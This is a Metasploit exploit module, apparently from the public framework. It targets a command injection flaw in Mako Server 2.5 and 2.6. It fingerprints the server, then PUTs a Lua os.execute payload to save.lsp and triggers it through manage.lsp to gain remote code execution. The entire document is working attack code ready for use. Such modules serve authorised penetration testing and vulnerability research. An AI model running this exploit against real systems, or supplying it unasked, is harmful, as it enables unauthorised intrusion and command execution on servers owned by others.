##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mako Server v2.5, 2.6 OS Command Injection RCE',
      'Description'    => %q{
        This module exploits a vulnerability found in Mako Server v2.5, 2.6.
        It's possible to inject arbitrary OS commands in the Mako Server
        tutorial page through a PUT request to save.lsp.

        Attacker input will be saved on the victims machine and can
        be executed by sending a GET request to manage.lsp.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
          'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['EDB', '42683'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
        ],
      'Arch'           => ARCH_CMD,
      'Platform' => %w[win unix],
      'Targets'        =>
        [
          ['Mako Server v2.5, 2.6', {}]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => '2017-09-03'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI path to the Mako Server app', '/'])
      ]
    )
  end

  def check
    vprint_status('Trying to detect running Mako Server and necessary files...')

    # Send GET request to determine existence of save.lsp page
    res = send_request_cgi({
             'method' => 'GET',
             'uri'    => normalize_uri(target_uri.path, 'examples/save.lsp')
           }, 20)

    # If response does not include "MakoServer.net", target is not viable.
    if res.headers['Server'] !~ /MakoServer\.net/
      vprint_warning('Target is not a Mako Server.')
      return CheckCode::Safe
    end

    if res.body
      if res.body.include?('Incorrect usage')
        # We are able to determine that the server has a save.lsp page and
        # returns the correct output.
        vprint_status('Mako Server save.lsp returns correct ouput.')
        return CheckCode::Appears
      else
        # The page exists, but is not returning the expected output.
        # May be a different version?
        vprint_warning('Mako Server save.lsp did not return expected output.')
        return CheckCode::Detected
      end
    else
      # The above checks failed and exploitability could not be determined.
      vprint_error('Unable to determine exploitability, save.lsp not found.')
      return CheckCode::Unknown
    end

    CheckCode::Safe
  end

  def exploit
    print_status('Sending payload to target...')

    # The double square brackets helps to ensure single/double quotes
    # in cmd payload do not interfere with syntax of os.execute Lua function.
    cmd = %{os.execute([[#{payload.encoded}]])}

    # If users want to troubleshoot their cmd payloads, they can see the
    # Lua function with params that the module uses in a more verbose mode.
    vprint_status("Now executing the following command: #{cmd}")

    # Send a PUT request to save.lsp with command payload
    begin
      vprint_status('Sending PUT request to save.lsp...')
      send_request_cgi({
         'method'   => 'PUT',
         'uri'      => normalize_uri(target_uri.path, 'examples/save.lsp'),
         'ctype'    => 'text/plain',
         'data'     => cmd,
         'vars_get' => {
           'ex' => '2.1'
         }
       }, 20)
    rescue StandardError => e
      fail_with(Failure::NoAccess, "Error: #{e}")
    end

    # Send a GET request to manage.lsp with execute set to true
    begin
      vprint_status('Sending GET request to manage.lsp...')
      send_request_cgi({
         'method'   => 'GET',
         'uri'      => normalize_uri(target_uri.path, 'examples/manage.lsp'),
         'vars_get' => {
           'execute' => 'true',
           'ex' => '2.1',
           'type' => 'lua'
         }
       }, 20)
    rescue StandardError => e
      fail_with(Failure::NoAccess, "Error: #{e}")
    end
  end
end
